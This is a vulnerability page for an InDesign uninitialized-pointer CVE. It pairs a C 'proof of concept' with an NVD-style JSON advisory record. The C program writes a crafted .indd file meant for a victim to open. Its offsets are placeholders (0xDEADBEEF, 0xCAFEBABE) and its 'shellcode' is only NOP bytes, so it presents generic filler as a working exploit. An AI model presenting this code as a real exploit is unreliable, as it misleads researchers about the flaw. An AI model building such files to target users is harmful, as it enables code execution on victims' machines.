CVE-2026-21275

// CVE-2026-21275 PoC - InDesign Desktop Uninitialized Pointer Access // This PoC demonstrates the vulnerability trigger mechanism // Note: This is for educational and security research purposes only #include <stdio.h> #include <stdlib.h> #include <string.h> // Malicious InDesign file structure to trigger uninitialized pointer typedef struct { char header[8]; // File signature unsigned int version; // Version number unsigned int flags; // Malformed flags unsigned long offset1; // Crafted offset pointing to uninitialized memory unsigned long offset2; // Secondary offset char payload[256]; // Payload data } MaliciousINDD; void create_malicious_file(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) { printf("Failed to create file\n"); return; } MaliciousINDD malicious = {0}; // InDesign file signature memcpy(malicious.header, "\x06\x06\xED\xF5\xD8\x1D\x46\xE5", 8); malicious.version = 0x15000000; // Version 21.0 trigger malicious.flags = 0xFFFFFFFF; // Malformed flags malicious.offset1 = 0xDEADBEEF; // Points to uninitialized pointer location malicious.offset2 = 0xCAFEBABE; // Shellcode placeholder for code execution unsigned char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; memcpy(malicious.payload, shellcode, sizeof(shellcode)); fwrite(&malicious, sizeof(MaliciousINDD), 1, fp); fclose(fp); printf("Malicious InDesign file created: %s\n", filename); printf("Open this file with vulnerable InDesign version to trigger CVE-2026-21275\n"); } int main() { printf("CVE-2026-21275 PoC Generator\n"); printf("=================================\n\n"); create_malicious_file("CVE-2026-21275-malicious.indd"); printf("\n[!] Warning: This PoC is for authorized security testing only\n"); printf("[!] Unauthorized exploitation of this vulnerability is illegal\n"); return 0; }

{"cve": {"id": "CVE-2026-21275", "sourceIdentifier": "[email protected]", "published": "2026-01-13T19:16:25.030", "lastModified": "2026-01-14T19:28:03.193", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "InDesign Desktop versions 21.0, 19.5.5 and earlier are affected by an Access of Uninitialized Pointer vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}, {"lang": "es", "value": "Las versiones de InDesign Desktop 21.0, 19.5.5 y anteriores están afectadas por una vulnerabilidad de Acceso a Puntero No Inicializado que podría resultar en ejecución de código arbitrario en el contexto del usuario actual. La explotación de este problema requiere interacción del usuario en el sentido de que la víctima debe abrir un archivo malicioso."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-824"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:indesign:*:*:*:*:*:*:*:*", "versionEndExcluding": "20.5.1", "matchCriteriaId": "7BFF153C-8825-407C-AF58-4AC567601D68"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:indesign:*:*:*:*:*:*:*:*", "versionStartIncluding": "21.0", "versionEndExcluding": "21.1", "matchCriteriaId": "7BF7435F-7314-440A-89A8-8C3D4CCCDD63"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/indesign/apsb26-02.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}